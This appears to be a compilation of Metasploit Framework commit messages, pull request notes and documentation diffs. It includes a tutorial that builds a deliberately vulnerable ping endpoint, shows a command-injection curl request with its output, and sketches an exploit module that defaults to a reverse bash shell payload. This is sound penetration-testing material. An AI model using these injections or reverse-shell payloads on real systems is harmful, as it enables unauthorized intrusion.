This adds a module to gather credential material from accounts
with Requires Pre-Authentication disabled. The module supports two
mechanisms, Brute Forcing using a list of usernames or using a LDAP
query to request the relevant usernames, followed by requesting TGTs.
This PR makes the DomainControllerRhosts option optional,
even when auth is set to kerberos. This change requires
rapid7/rex-socket#64 which was released in the rex-socket 1.5.5 gem.
This pull request adds a new exploit module for
an unauth file upload vulnerability in the
WordPress Royal Elementor Addons and Templates
plugin, versions before 1.3.79, tracked as CVE-2023-5360.
* Check that the initial memory was actually allocated before writing to
it
* Don't pass 16 to CryptUnprotectData as the ppszDataDescr parameter
because it is not a valid LPWSTR
* Don't leak memory in the event that CryptUnprotectData by ensuring mem
and addr are always free'ed
* Combine free calls into one for speed
* Don't assume the sessions is ARCH_X64 if it is not ARCH_X86 because
that may change some day
The service authenticator was filtering out valid credentials
when the hostname wasnt an exact match when credentials for
a domain should work on a subdomaini. This PR fixes that issue.
This PR includes a number of enhancements to the windows
checkvm post module, including reducing the number of requests
set to the targets among other things.
This PR fixes a statbility issue with the
f5_bigip_tmui_rce_cve_2023_46747 module. Prior to this fix
occasionally the module would fail on login as things were
running too quickly, the module now retrys loging in.
This PR adds a module which leverages an insecure
deserialization of data to get remote code execution
on the target OS in the context of the user running
the website which utilized AjaxPro.
This module exploits a flaw in F5s BIG-IP Traffic Management User
Interface (TMUI) that enables an external, unauthenticated
attacker to create an administrative user. The attacker can then use
the admin user to execute arbitrary code in the context of the root user.
This will cause railgun to use the pointer as is it were defined as an
LPVOID parameter type. This is useful in cases where the contents are
already in the target's memory.
initial functionality, testing/cleanup still needed
script and command functionality
remove unnecessary accessor
switch puts to print_error in proc
ensure proc is reset, run on every error, add yard docs
fix yard, refactor/remove dead code
rename on_error_proc
remove single flag
pivot to search flag
added support for search session type
adds search session id support
remove stale references
reshuffle code
fix time parsing, add command support
fix search list, reduce duplicated code
testing added
killall with search lists table of killed sessions
sessions are no longer represented by ids
addresses feedback on code structure and search behavior
some test reshuffling, switch raised errors to printed ones
add checkin validation, rest of cmd_sessions tests
add time parsing test
refactoring
test reformatting and adjusted error validation
make error handling more explicit, add test context
fixes
sub quotes, make constant
rubocopping
switch before and after to greater than and less than
mbetter incorporate constants
update example
This PR adds a variety of improvements to the
enum_computers module including shell and powershell
support as well as improvements to run on non-english
systems.
This PR adds a module that exploits a series of vulns
which leads to RCE on affected TorchServers tagrets. It
also includes updates the the class_loader library.
The URIPATH must end with / due to how the package names are requested
from the web server in a nested directory structure. #on_request_uri
also needed to be updated to check for the relative resource.
This PR updates metasploit-framework side for the
metasploit-payloads fix#672. This PR also includes
metasploit-framework PR #18445 which bumps the
metasploit-payloads gem version to 2.0.156.
This adds a Python deserialization gadget that will exec arbitrary
Python code in place. It is only compatible with Python 3.x due to
differences in Python's exec function and statement between 2 and 3.
Sets the path variable via a loop so that it fixes the path assignment and lets the user give a series of directories
Co-authored-by: Brendan <bwatters@rapid7.com>
Kibana before version 7.6.3 suffers from a prototype
pollution bug within the Upgrade Assistant. This PR adds
an exploit module to exploit the bug. There is no CVE
for this issue at the moment.
This commit adds a exploit module for an unauthenticated remote
code execution vulnerability in Zoneminder.
This exploit allows to choose between dropper and in-memory
payloads and works reliable.
- The cleanup methos is deleting the job and removing the app directory
- Added a change dir command as an AutoRunScript just to avoid the error when trying to access the current directory in the session
Change strings to reference `VMware` using the proper case. Don't
include CmdStager (because it's unnecessary). Set PrependFork to fix
shell payloads. Move CamelCase options to advanced.
* Reduce verbosity of log messages
* Move 'check_*' methods into 'check' method
* Fix non-existent Windows PowerShell Command payload
* Clearer log message for unpausing DAG in 'check_unpaused' method
This PR fixes a stack trace thrown by the forge_ticket
module when the SPN datastore option was left blank. The module
now fails due to bad-config and gives a detailed error message.
This PR adds a module for an unauthenticated RCE vulnerability
in Maltrail, a malicious traffic detection system. This vuln
does not have a CVE associated with it.
This PR adds support for detecting whether a session is
running in a podman container and improves detection for
sessions running in Docker, LXC and WLS containers.
The connection needs to slowly send data to the remote end for
stability. Additionally, the `exit` command should be issued when
closing the connction so it is reset back to the logon prompt.
Windows shells require an extra configuration that when present still
doesn't offer either the cmd.exe or powershell session that MSF expects
but rather a SAC shell.
AWS EC2 Nitro instances (and possibly others) support serial proxy
over SSH using the Instance Connect API:
https://docs.amazonaws.cn/en_us/AWSEC2/latest/UserGuide/
connect-to-serial-console.html
This process consists of sending an SSH pubkey to the serial proxy
control plane, connecting to a well-known URL with the instance ID
and port number as username, and the SSH private key as credential.
The resulting session is a "fragile" SSH context which does not
tolerate Channel-closing, requiring some special handling in Msf to
safeguard the initial Net::SSH::CommandStream.
Implement a BindAwsInstanceConnect Handler which loads an SSH key
from the local FS or generates a new one on the fly, passes the
pubkey to the InstanceConnect API, and then establishes SSH comms
with the InstanceConnect SSH proxy.
Implement a AwsInstanceConnectBind to handle resulting connetions,
derived from SshCommandShellBind, with an updated #bootstrap which
avoids meddling with the fragile CommandStream/Channel.
Testing:
Got serial console to the ttyS0 login prompt of a Nitro EC2 VM.
Logged in using previously-known credentials.
Verified console operations.
Notes:
Handler keeps firing, same as the SSM session concern.
There is a limit to the number of sessions which an instance can
hold (possibly only one).
This updates the aarch64 payloads to include comments with the
corresponding instructions for each little-endian integer. It also fixes
the debug output for x64 payloads under rosetta.
This module exploits a vulnerability in pfSense version
2.6.0 and below which allows for authenticated users to
execute arbitrary operating systems commands as root.
* Msftidy complains about Line 2 of the exploit template comment having
* http:// protocol instead of https:// protocol
* Reference in PR #18170, commit hash ad0d3e79, where Msftidy lint test fails
* to pass, but in the next commit 591fee18, the test passes.
* Small fixes in Description - removed backticks
* Implemented Windows Command target
* Removed PowerShell Stager, in Targets and in exploit method
* Implemented Rex::Socket::Tcp in place of TCPSocket
* Updated TARGET section in documentation
* Added TARGET 0 - Windows Command scenario
* Removed PowerShell Stager scenario
* Replaced 'Using configured payload' lines to use Windows Command payload
for the 2nd, 3rd, and 4th scenarios. Did not rerun the scenarios, however
This adds support for the dyld changes incorperated into Sonoma and
cleans up the existing support for Ventura. This does not break
compatibility with previous versions.
This adds support for the dyld changes incorperated into Ventura which
includes changes to the symbols used. This does not break compatibility
with previous versions.
This commit adds the sign method to Payload::MachO which performs a
basic SHA256 signature update on the provided macho to enable it to run
under osx aarch64 systems.
This builds on Back from the dyld by adding the required aarch64
assembly code to enable the OSX loader to run on the m1. This enables
the use of native payloads on M1 or M2 devices that do not have Rosetta
installed.
description:'Dump info about DNS zones the server knows about using the dnsZone object class under the DC DomainDnsZones. This is needed as without this BASEDN prefix we often miss certain entries.'
description:'Dump all known DNS zones using the dnsZone object class under the DC DomainDnsZones. Without A BASEDN prefix you can miss certain entries.'
@@ -93,7 +93,7 @@ One advantage that this directory structure gives us is the ability to write bet
### Shared build tasks
Because all routine module-oriented tasks will be preformed with rake tasks, we will need to make the default actions for these tasks as intelligent and reusable as possible across different module types/implementations. A module author should not have to worry about writing plumbing they do not need (or is common) or messing with plumbing that is only tangentially related to their unique need. To that end, we should have sane defaults for the following at a minimum:
Because all routine module-oriented tasks will be performed with rake tasks, we will need to make the default actions for these tasks as intelligent and reusable as possible across different module types/implementations. A module author should not have to worry about writing plumbing they do not need (or is common) or messing with plumbing that is only tangentially related to their unique need. To that end, we should have sane defaults for the following at a minimum:
```
rake run -- Start module, hook up stdin/stdout to JSON-RPC
@@ -115,4 +115,4 @@ At the very least, we will also need tooling to create a mostly-empty but runnab
### For classic modules
The biggest differences for classic modules are metadata generation and running. These can be accomplished with rake tasks, but it would involve starting up a whole framework instance for each module run. For efficiency, we will need to signal to framework to treat the module specially, perhaps having rake deps:check output/return a specific value when the module needs to be run inside of framework. Metadata would then be dumped directly from the framework loader, and instead of rake run, the classic module loader/runner would be run much as it is today. We will probably want to keep the rake tasks for these things for when we don't already have a framework instance handy.
The biggest differences for classic modules are metadata generation and running. These can be accomplished with rake tasks, but it would involve starting up a whole framework instance for each module run. For efficiency, we will need to signal to framework to treat the module specially, perhaps having rake deps:check output/return a specific value when the module needs to be run inside of framework. Metadata would then be dumped directly from the framework loader, and instead of rake run, the classic module loader/runner would be run much as it is today. We will probably want to keep the rake tasks for these things for when we don't already have a framework instance handy.
2. Modify your `.git/config` file to enable signing commits and merges by default:
````
```ini
[user]
name=Your Name
email = your_email@example.com
@@ -114,7 +114,7 @@ Enter passphrase: [...]
[alias]
c=commit -S --edit
m = merge -S --no-ff --edit
````
```
Using `git c` and `git m` from now on will sign every commit with your `DEADBEEF` key. However, note that rebasing or cherry-picking commits will change the commit hash, and therefore, unsign the commit -- to resign the most recent, use `git c --amend`.
@@ -58,7 +58,7 @@ You probably shouldn't run proof of concept exploit code you find on the Interne
Also, please take a peek at our guides on using git and our acceptance guidelines for new modules in case you're not familiar with them.
If you get stuck, try to explain your specific problem as best you can on our [Freenode IRC](https://freenode.net/) channel, #metasploit (joining requires a [registered nick](https://freenode.net/kb/answer/registration)). Someone should be able to lend a hand. Apparently, some of those people never sleep.
If you get stuck, try to explain your specific problem as best you can on our [Freenode IRC](https://freenode.net/) channel, #metasploit (joining requires a [registered nick](https://freenode.net/view/Nick_Registration)). Someone should be able to lend a hand. Apparently, some of those people never sleep.
Enable faster implementation of SQL injection based explot modules by adding library support for common injection attack vectors. Currently very few sql injection exploits are implemented for Metasploit possibly due to the high complexity of building out injection queries and posting them to a vulnerable URI.
Enable faster implementation of SQL injection based exploit modules by adding library support for common injection attack vectors. Currently very few sql injection exploits are implemented for Metasploit possibly due to the high complexity of building out injection queries and posting them to a vulnerable URI.
Many testing techniques interacting with web servers such as `XSS` rely on ensuring authentication obtained on a target be kept active. A mechanism for regstering and maintaining open authentications identified during a test for the duration of the console session may provide an additional utility to enable more modules to target techniques that need valid authentication to be maintained. One such authentication token would be data retained in a cookie for a web service. This project would lay the groundwork for registering gathered or generated authenticaion tokens against a target to be refreshed and sustained until a console exits, or in some cases across console restarts.
Many testing techniques interacting with web servers such as `XSS` rely on ensuring authentication obtained on a target be kept active. A mechanism for registering and maintaining open authentications identified during a test for the duration of the console session may provide an additional utility to enable more modules to target techniques that need valid authentication to be maintained. One such authentication token would be data retained in a cookie for a web service. This project would lay the groundwork for registering gathered or generated authenticaion tokens against a target to be refreshed and sustained until a console exits, or in some cases across console restarts.
When preforming security assessment on a network with centralized login such as LDAP or Active Directory these services are sometimes exposed directly on the network. While Metasploit has capabilities to collect various pieces of information from these services when a user has been able to gain code execution inside a target system by utilizing tooling such as `Sharphound` or by leveraging SMB services via the `secrets_dump` module, these methods are somewhat indirect. A network base capability to query exposed services may have value. An interactive terminal plugin allowing users to connect directly to LDAP or Active Directory providing capabilities similar to the existing `requests` plugin could enable users search for valuable information in these services without the need to compromise a target or interact with a secondary service.
When performing security assessment on a network with centralized login such as LDAP or Active Directory these services are sometimes exposed directly on the network. While Metasploit has capabilities to collect various pieces of information from these services when a user has been able to gain code execution inside a target system by utilizing tooling such as `Sharphound` or by leveraging SMB services via the `secrets_dump` module, these methods are somewhat indirect. A network base capability to query exposed services may have value. An interactive terminal plugin allowing users to connect directly to LDAP or Active Directory providing capabilities similar to the existing `requests` plugin could enable users search for valuable information in these services without the need to compromise a target or interact with a secondary service.
While Metasploit standardizes with the JtR format, the hashcat [library](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/cracker.rb) includes the `jtr_format_to_hashcat_format` function to translate from jtr to hashcat.
Only hashes which were found in Metasploit were added to the hash id library, and the other functions. New hashes are developed often, and new modules which find a new type of hash will most definitely be created. So what are the steps to add a new hash type to Metasploit?
1. Add a new identify algorithm to: [framework/hashes/identify.rb](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/hashes/identify.rb). You may want to consult external programs such as `hashid` or `hash-identifier` for suggestions.
1. Add a new identify algorithm to: [framework/hashes.rb](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/hashes.rb). You may want to consult external programs such as `hashid` or `hash-identifier` for suggestions.
1. Add the hash to the spec to ensure it works right now, and in future updates: [framework/hashes/identify_spec.rb](https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/metasploit/framework/hashes/identify_spec.rb)
1. Make sure the hashes are saved in the DB in the JTR format. A good source to identify what the hashes look like is [pentestmonkey](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats).
1. If applicable, add it into the appropriate cracker module (or create a new one). Example for [Windows related hashes](https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/analyze/crack_windows.rb).
@@ -62,9 +62,9 @@ res = @http_client.send_request_cgi({
The cookies returned by the server with a successful login need to be attached to all future requests, so `'keep_cookies' => true,` is used to add all returned cookies to the HttpClient CookieJar and attach them to all subsequent requests.
### `cookie` option
Shown below is the request used to login to a gitlab account in the [artical\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection module](https://github.com/rapid7/metasploit-framework/blob/92d981fff2b4a40324969fd1d1744219589b5fa3/modules/exploits/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection.rb#L115)
Shown below is the request used to login to a gitlab account in the [artica\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection module](https://github.com/rapid7/metasploit-framework/blob/92d981fff2b4a40324969fd1d1744219589b5fa3/modules/exploits/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection.rb#L115)
artical\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection requires a specific cookie header to be sent with a request in order to achieve RCE. By setting a string of the desired header as the value of the `cookie` option, that string is set as the cookie header without any changes, allowing the exploit to be carried out.
artica\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection requires a specific cookie header to be sent with a request in order to achieve RCE. By setting a string of the desired header as the value of the `cookie` option, that string is set as the cookie header without any changes, allowing the exploit to be carried out.
@@ -38,7 +38,7 @@ For debugging purposes, it's always better to turn on the highest level of loggi
There are mainly five logging methods you will most likely be using a lot, and they all have the exact same arguments. Let's use one of the logging methods to explain what these arguments are about:
The first thing you do with ObfuscateJS is you need to initialize it with the JavaScript you want to obfuscate, so in this case, begin like the following:
```
```ruby
js = %Q|
var arrr = new Array();
arrr[0] = windows.document.createElement("img");
@@ -82,7 +82,7 @@ So if I want to obfuscate the variable ```arrr```, and I want to obfuscate the s
In some cases, you might actually want to know the obfuscated version of a symbol name. One scenario is calling a JavaScript function from an element's event handler, such as this:
```
```html
<html>
<head>
<script>
@@ -150,7 +150,7 @@ This time we'll do a "hello world" example:
And here's the output:
```
```javascript
window[(function () { var _d="t",y="ler",N="a"; return N+y+_d })()]((function () { var f='d!',B='orl',Q2='h',m='ello, w'; return Q2+m+B+f })());
@@ -128,7 +128,7 @@ The best way to let the user decide what kind of payload to use is by defining s
Here is an example targets section from a command injection module:
```
```ruby
'Targets' => [
[
'Unix Command',
@@ -279,7 +279,7 @@ msf exploit(cmdstager_demo) > run
# Flavors
Now that we know how to use the `Msf::Exploit::CmdStager` mixin, let's take a look at the command
stagers you can use. As mentioned above there are 2 general approaches to staging an executable on disk: by invoking a command that will download the executable file to disk like wget, curl, or fetch, or by breaking the executable file into pieces and including them commands themselves to write it to disk like echo, printf, or vbs. This delineation can be important, as trying to wite a stageless binary payload to disk using a stager that has to include the chunked payload in it will require the execution of dozens of commands, often each one having the signature of the exploit. It is also useful to know the `printf` flavor is the only flavor that embeds the payload into the commands but does ***not*** use `echo`.
stagers you can use. As mentioned above there are 2 general approaches to staging an executable on disk: by invoking a command that will download the executable file to disk like wget, curl, or fetch, or by breaking the executable file into pieces and including them commands themselves to write it to disk like echo, printf, or vbs. This delineation can be important, as trying to write a stageless binary payload to disk using a stager that has to include the chunked payload in it will require the execution of dozens of commands, often each one having the signature of the exploit. It is also useful to know the `printf` flavor is the only flavor that embeds the payload into the commands but does ***not*** use `echo`.
* **TCP::max_send_size** - Evasive option. Maximum TCP segment size.
* **TCP::send_delay** - Evasive option. Delays inserted before every send.
If you wish to learn how to change the default value of a datastore option, please read "[[Changing the default value for a datastore option|./How-to-use-datastore-options.md]]"
Of course, when you write a Metasploit browser exploit there's a lot more you need to think about. For example, your module probably needs to do browser detection, because it wouldn't make any sense to allow Chrome to receive an IE exploit, would it? You probably also need to build a payload that's specific to the target, which means your module needs to know what target it's hitting, and you have to build a method to customize the exploit accordingly, etc. The HttpServer and HttpServer::HTML mixin provies all kinds of methods to allow you to accomplish all these. Make sure to check out the API documentation (you can either do this by running msf/documentation/gendocs.sh, or just run "yard" in the msf directory), or checkout existing code examples (especially the recent ones).
Of course, when you write a Metasploit browser exploit there's a lot more you need to think about. For example, your module probably needs to do browser detection, because it wouldn't make any sense to allow Chrome to receive an IE exploit, would it? You probably also need to build a payload that's specific to the target, which means your module needs to know what target it's hitting, and you have to build a method to customize the exploit accordingly, etc. The HttpServer and HttpServer::HTML mixin provides all kinds of methods to allow you to accomplish all these. Make sure to check out the API documentation (you can either do this by running msf/documentation/gendocs.sh, or just run "yard" in the msf directory), or checkout existing code examples (especially the recent ones).
To get things started, you can always use the following template to start developing your browser exploit:
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
If you've found a way to execute a command on a target, and you'd like to make a simple exploit module to get a shell, this guide is for you. Alternatively, if you have access to **fetch** commands on the target (curl, wget, ftp, tftp, tnftp, or certutil), you can use a [[Fetch Payload|How-to-use-fetch-payloads]] for a no-code solution.
By the end of this guide you'll understand how to turn [Command injection](https://owasp.org/www-community/attacks/Command_Injection) into a shell - from here, you can move on to the [[command stager|How-to-use-command-stagers]] article and upgrade your basic `:unix_cmd` Target to a Dropper for all kinds of payloads with variable command stagers.
This guide assumes *some* knowledge of programming (Understand what a class is, what methods/functions are) but expects no in-depth knowledge of Metasploit internals.
## A Vulnerable Service
For the vulnerable service test case, we'll be using a simple FastAPI service. This is very easy to spin up:
1. Install `fastapi[all]` using your preferred Python package manager (a virtual environment is recommended)
2. Create a file to hold some Python code (I'll call it `main.py`)
3. Copy the following code into your file:
```python
from fastapi import FastAPI, Response
import subprocess
app = FastAPI()
@app.get("/ping")
def ping(ip : str):
res = subprocess.run(f"ping -c 1 {ip}", shell=True, capture_output=True)
4. Start your vulnerable service with `uvicorn main:app`
5. Test that the application works with `curl`:
```sh
$ curl http://localhost:8000/ping?ip=1.1.1.1
PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.
64 bytes from 1.1.1.1: icmp_seq=1 ttl=58 time=16.7 ms
--- 1.1.1.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 16.739/16.739/16.739/0.000 ms
```
6. Test that your application is exploitable - also with `curl`:
```sh
$ curl localhost:8000/ping?ip=1.1.1.1%20%26%26id
PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.
64 bytes from 1.1.1.1: icmp_seq=1 ttl=58 time=16.6 ms
--- 1.1.1.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 16.614/16.614/16.614/0.000 ms
uid=1000(meta) gid=1000(meta)
```
With this output `uid=1000(meta) gid=1000(meta)`, we know that the `id` command successfully executed on the target system. Now that we have a vulnerable application we can write a module to pwn it.
## The Structure of a Module
To have a functioning command injection Metasploit module we **need** a few things:
1. Create a subclass of `Msf::Exploit::Remote`
2. Include the `Msf::Exploit::Remote::HttpClient` mixin
3. Define three methods:
- `initialize`, which defines metadata for the Module
- `execute_command`, which is what runs the command against the remote server
- `exploit`, wraps `execute_command`, and can handle some logic when we move to a cmdstager module
4. (Not required, but recommended) a method to substitute or escape bad characters, to be used inside `execute_command`. This could also just be done inside `execute_command` instead of a separate function call.
### Where to put a Module
Metasploit looks for custom modules at `$HOME/.msf4/modules`, but the way you get modules there varies based on how you're running Metasploit.
- If you have a full install of Metasploit on your host, you can just add your custom module to `$HOME/.msf4/modules/exploits/custom_mod.rb`.
- You can also just add a module to Metasploit's modules folder - This can be helpful when troubleshooting, but it's not recommended
- **Docker** If you're using the [Docker Image](https://github.com/rapid7/metasploit-framework/tree/master/docker), you can also add modules to `$HOME/.msf4/modules` and that folder will be mounted as a volume inside the Docker container
- You can also change the mount point by modifying the [docker-compose](https://github.com/rapid7/metasploit-framework/blob/master/docker-compose.yml) file
For testing, the easiest thing to do is the simplest. You can find Metasploit's **exploit** directory, copy a file, rename it, and go from there.
## A Shell of a Module
The shell of a module that follows the above format is something like this:
```ruby
class MetasploitModule < msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
# empty for now
end
def filter_bad_chars(cmd)
# empty for now
end
def execute_command(cmd, _opts = {})
# empty for now
end
def exploit
# empty for now
end
end
```
This covers every essential point from [The Structure of a Module](#the-structure-of-a-module), although it won't run yet.
## Initialize
The `initialize` method is used to define and pass metadata. Every `initialize` method in the metasploit-framework codebase follows the format of an empty `info` being passed into `update_info`, which gets passed to the `msf::Exploit::Remote` `initialize` method:
```ruby
def initialize(info = {})
super(
update_info(
info,
# Here is where the metadata goes
'Name' => 'Command Injection against a test Ping endpoint',
'Description' => 'This exploits a command injection vulnerability against a test application',
'License' => MSF_LICENSE,
'Author' => 'YOUR NAME',
'References' => [
['URL', 'https://metasploit.com/']
],
'DisclosureDate' => '2023-08-04',
'Platform' => 'linux', # used for determining compatibility - if you're doing code injection, this may be the language of the webapp
'Targets' => [
'Unix Command',
{
'Platform' => ['linux', 'unix'], # linux and unix have different cmd payloads, this gives you more options
'Arch' => ARCH_CMD,
'Type' => :unix_cmd, # Running a command - this would be `:linux_dropper` for a cmdstager dropper
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash',
'RPORT' => 8000,
}
}
],
'Payload' => {
'BadChars' => '\x00',
}
'Notes' => { # Required for new modules https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
# Some more metadata options are here: https://docs.metasploit.com/docs/development/developing-modules/module-metadata/module-reference-identifiers.html#code-example-of-references-in-a-module
)
)
end
```
All that this method does is register metadata to the module.
## Filtering
It's important to ensure that payloads being sent are properly encoded. As an example, if you send a request to the `/ping` endpoint that looks like `/ping?ip=1.1.1.1&&id`, you won't see the "uid=1000(meta) gid=1000(meta)" in the response because `&` is a special character in HTTP.
Encoding requirements might change based on the application you're trying to inject, so experiment if things aren't working.
```ruby
def filter_bad_chars(cmd)
return cmd
.gsub(/&/, '%26')
.gsub(/ /, '%20')
end
```
`filter_bad_chars` takes in `cmd`, which is a string. `cmd` has two substitutions applied - the first will translate `&` to `%26`, the second translates a space to `%20`. The `.gsub` statements are a global substitution across the string, so the entire payload is impacted by the substitutions here (Similar to str.replace in Python). Regardless of whether or not the string is modified, it is returned.
## Execution
The `execute_command` method takes in `cmd` and `_opts` and executes the command on the target. In our case, executing a command is simply adding the command to a GET request and sending it to the `/ping` endpoint on our sample service.
We don't even need to handle the output of `send_request_cgi` (Really, there should be no return until the shell exits, since the call to `subprocess.run` doesn't return until that shell dies).
## Exploitation
To finish up, all we need is to define the `exploit` method. This method is called by Metasploit when you use `run` within a msfconsole. All that we'll do here is print a little status message and run the exploit, but later you can modify this method to handle droppers as well:
```ruby
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
execute_command(payload.encoded)
end
```
If you're running Metasploit and the vulnerable Python service on the same machine, you should be able to simply set the variables and fire:
```sh
set RHOST 127.0.0.1
set LHOST 127.0.0.1
run
```
## Conclusion
That's it. Put it all together and you have a very simple Command Injection exploit module that shows you the basics of how to throw a payload. Play around with different payloads, follow the [[How-to-use-command-stagers]] guide, add some logging to the Python web server, and watch executions over Wireshark. You'll learn a lot.
@@ -54,16 +54,16 @@ In addition, we're going to add a magical line to the config file that will let
So, open up `metasploit-framework/.git/config` with your favorite editor, add an upstream remote, and add the pull request refs for both your and Rapid7's forks. In the end, you should have a section that started off like this:
Some people like to copy these over into remotes named "rapid7" and "yourusername" just so they don't have to remember about "origin" and "upstream," but for this doc, we'll just assume you have "origin" and "upstream" defined like this.
Now, you can git fetch the remote PRs. This will take a little bit, since we have a couple dozen MBs of pull request data. Storage is cheap, though, right?
````
```
$ git fetch --all
Fetching todb-r7
remote: Counting objects: 13, done.
@@ -97,7 +97,7 @@ From https://github.com/rapid7/metasploit-framework
You can `git fetch` a remote any time, and you'll get access to the latest changes to all branches and pull requests.
@@ -105,7 +105,7 @@ You can `git fetch` a remote any time, and you'll get access to the latest chang
A manageable strategy for dealing with outstanding PRs is to start pre-merge testing on the pull request in isolation. For example, to work on PR #1217, we would:
````
```
$ git checkout upstream/pr/1217
Note: checking out 'upstream/pr/1217'.
@@ -124,7 +124,7 @@ HEAD is now at 9e499e5... Make BindTCP test more robust
```
$ git checkout -b landing-1217
````
```
Now, we're on a local branch identical to the original pull request, and can move on from there. We can make our changes, isolated from master, and then either send them back to the contributor (this requires looking up the original contributor's GitHub username and branch name on GitHub), or if there aren't any changes or the changes are trivial, we can land them (if you have committer rights to Rapid7's repo, this is where you land them to the upstream repo).
@@ -173,7 +173,7 @@ You need to add their fork once as a remote: `git remote add OTHER_USER git://gi
This sequence does a few things after editing `.gitconfig`. It creates another copy of landing-1217 (which is itself a copy of upstream/pr/1217)). Next, I push those changes to my branch (todb-r7, aka "origin"). Finally, I have a mighty [.gitconfig alias here](https://gist.github.com/todb-r7/5438391) to open a browser window to send a pull request to the original contributor's branch (you will want to edit yours to reflect your real GitHub username, of course).
I opened that in a browser, and ended up with https://github.com/schierlm/metasploit-framework/pull/1 . Once [@schierlm](https://github.com/schierlm) landed it on his branch (again, using `git merge --no-ff` and a short, informational merge commit message), all I (or anyone) had to do was `git fetch` to get the change reflected in upstream/pr/1217, and then the integration of the PR could continue.
@@ -208,7 +208,7 @@ Note the important bit here: **you do not need commit rights to Rapid7 to branch
Back to PR #1217. Turns out, my change was enough to land the original chunk of work. So, someone else ([@jlee-r7](https://github.com/jlee-r7)) was able to to do something like this:
Or, if he already have upstream-master checked out:
````
```
$ git checkout upstream-master
$ git rebase upstream/master
$ git merge -S --no-ff --edit landing-1217
$ git push upstream upstream-master:master
````
```
The `--edit` is optional if we have our editor configured correctly in `$HOME/.gitconfig`. The point here is that we *always* want a merge commit, and we *never* want to use the (often useless) default merge commit message. For #1217, this was changed to:
````commit
```
Land #1217, java payload build system refactor
````
```
Note that you should rebase *before* landing -- otherwise, your merge commit will be lost in the rebase.
@@ -248,7 +248,7 @@ Finally, the -S indicates we are going to sign the merge, using our GPG key. Thi
To set yourself up for signing, your .gitconfig (or metasploit-framework/git/.config) file should have these entries:
````
```ini
[user]
name = Your Name
email = your@email.xxx
@@ -256,7 +256,7 @@ signingkey = DEADBEEF # Must match exactly with your key for "Your Name <your@em
[alias]
c = commit -S --edit
m = merge -S --no-ff --edit
````
```
People with commit rights to rapid7/metasploit-framework will have their [[keys listed here|./Committer-Keys.md]].
@@ -271,10 +271,6 @@ Release note examples:
The [rn-no-release-notes](https://github.com/rapid7/metasploit-framework/issues?utf8=%E2%9C%93&q=label%3Arn-no-release-notes+) label must be added if there are no release notes for the merged pull request.
# Cross-linking PRs, Bugs, and Commits
TODO: Update in this new post-Redmine, GitHub issues world
# Merge conflicts
The nice thing about this strategy is that you can test for merge conflicts straight away. You'd use a sequence like:
@@ -16,7 +16,7 @@ If listeners are externalized, then there is an API layer both for interactive i
### Integration of native tool-chains
Tools like Veil, pwnlib, etc. have for a long time used native compilers and tooling to build payloads and evasions. Metasploit has opted mostly for native Ruby solutions, though it does have some implicit runtime dependencies like `apktool` for Android payload injection. However, these tools are getting harder to maintain and use (e.g. metasm has a diffcult time building any non-trivial C code, we just spent a month fixing a bug it had with Ruby 2.5 and Windows). It would be nice to have either be able to depend on a set of first-class toolchains being available in the environment, or have some way to package them natively with Metasploit itself. A full suite of compilers and tools does consume considerable amounts of space (e.g. mettle's toolchain is 1.8GB uncompressed), but this is probably less of a problem than it was 15 years ago.
Tools like Veil, pwnlib, etc. have for a long time used native compilers and tooling to build payloads and evasions. Metasploit has opted mostly for native Ruby solutions, though it does have some implicit runtime dependencies like `apktool` for Android payload injection. However, these tools are getting harder to maintain and use (e.g. metasm has a difficult time building any non-trivial C code, we just spent a month fixing a bug it had with Ruby 2.5 and Windows). It would be nice to have either be able to depend on a set of first-class toolchains being available in the environment, or have some way to package them natively with Metasploit itself. A full suite of compilers and tools does consume considerable amounts of space (e.g. mettle's toolchain is 1.8GB uncompressed), but this is probably less of a problem than it was 15 years ago.
@@ -26,7 +26,7 @@ Make a new async payload type (based on pingback payload work) making secure com
### Overhaul network targeting
Setting at least 5 variables RHOSTS/RPORT/SSL/VHOST/SSL_Version/User/Pass/etc... to target a single web application is very cumbersome. When these variables also do not apply to multiple RHOSTS exactly, the scheme of multiple variables falls apart futher. Metasploit should be able to target URLs directly, that can all have their own independent ports, users, hostnames, etc:
Setting at least 5 variables RHOSTS/RPORT/SSL/VHOST/SSL_Version/User/Pass/etc... to target a single web application is very cumbersome. When these variables also do not apply to multiple RHOSTS exactly, the scheme of multiple variables falls apart further. Metasploit should be able to target URLs directly, that can all have their own independent ports, users, hostnames, etc:
```
set TARGETS https://user:password@target_app:4343 https://target_app2
When you have a number of sessions open, searching can be a useful tool to navigate them. This guide explains what capabilities are available for navigating open sessions with search.
You can get a list of sessions matching a specific criteria within msfconsole:
Currently, the only supported keywords for search are `session_id`, `session_type`, and `last_checkin`. These keywords can be combined to further filter your results, and used with other flags. For example:
Of note in the above example, `last_checkin` requires an extra argument. The second argument must be either `greater_than` or `less_than`. The third argument can be a sequence of alternating amounts and units of time (d: days, h: hours, m: minutes, and s: seconds), i.e. `5m2s`, `10d`, or `1d5m`.
